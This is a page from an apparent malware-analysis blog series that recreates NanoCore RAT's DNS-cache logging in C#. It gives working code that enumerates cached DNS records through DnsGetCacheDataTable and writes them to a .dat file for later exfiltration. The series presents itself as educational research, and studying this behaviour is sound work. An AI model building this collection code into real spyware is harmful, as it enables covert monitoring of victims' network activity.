Malware Analysis Series

Deep technical malware analysis reports, reverse engineering tools, unpacked stages, and recreated TTPs with detections for infamous malware families.


Project maintained by shaddy43 Hosted on GitHub Pages — Theme by mattgraham

NanoCore 1.2.2.0: DNS Logging

RAT Image

NanoCore logs DNS records using the API DnsGetCacheDataTable. It logs all DNS records saved in cache and logs in a dat file that is exfiltrated later.

Implementation

Imports and Structures

To fetch the DNS records from cache, NanoCore uses the Api DnsGetCacheDataTable. To save the records, we also need a structure for holding the records as shown in code below

[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct DnsRecord
{
    public IntPtr NextRecord;
    [MarshalAs(UnmanagedType.LPWStr)]
    public string Name;
    public short Type;
    public short DataLength;
    public int Flags;
    public int Ttl;
}

[DllImport("dnsapi.dll")]
public static extern bool DnsGetCacheDataTable(out IntPtr ppQueryResultsSet);

[DllImport("dnsapi.dll")]
public static extern void DnsRecordListFree(IntPtr ptr, int type);

Establish a log file

The first thing that NanoCore client binary does is to establish a log file in the public folder, where all the stolen data is being recorded until it is exfiltrated.

private static void setup()
{
    Console.Write("Setting up logger path...");
	DNS_logger_path = Path.Combine(DNS_logger_path, Path.ChangeExtension("KB_" + Conversions.ToString(Environment.TickCount), "dat"));
}

Log DNS Records

NanoCore uses DnsGetCacheDataTable to fetch DNS records. This code will iterate over DNS records using the NextRecord variable defined in structure and save every valid record in a list of string. Finally the list is returned for logging.

private static string[] GetDnsRecords(short recordType)
{
    Console.WriteLine("Setting DNS record retrieved type to A class domains");

    List<string> list = new List<string>();
    IntPtr ptr;
    if (DnsGetCacheDataTable(out ptr))
    {
        Console.WriteLine("Getting DNS Records...");
        try
        {
            DnsRecord dnsRecord = (DnsRecord)Marshal.PtrToStructure(ptr, typeof(DnsRecord));
            while (!(dnsRecord.NextRecord == IntPtr.Zero))
            {
                dnsRecord = (DnsRecord)Marshal.PtrToStructure(dnsRecord.NextRecord, typeof(DnsRecord));
                if (dnsRecord.Type == recordType)
                {
                    list.Add(dnsRecord.Name);
                    Console.WriteLine($"DNS record found: {dnsRecord.Name}");
                }
            }
        }
        finally
        {
            // Always release memory
            DnsRecordListFree(ptr, 1); // 1 indicates that the DNS cache data is to be freed
        }
    }
    return list.ToArray();
}

private static void LogDnsRecordsToFile(string filePath, string[] records)
{
    Console.WriteLine($"Logging retrieved DNS records: {DNS_logger_path}");

    try
    {
        using (StreamWriter writer = new StreamWriter(filePath))
        {
            foreach (string record in records)
            {
                writer.WriteLine(record);
            }
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine("Error writing DNS records to file: " + ex.Message);
    }
}

The code also prints every record it finds in the cache.

Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries

Disclaimer

Artifacts and code of this repository is intended to be used for educational purposes only!!!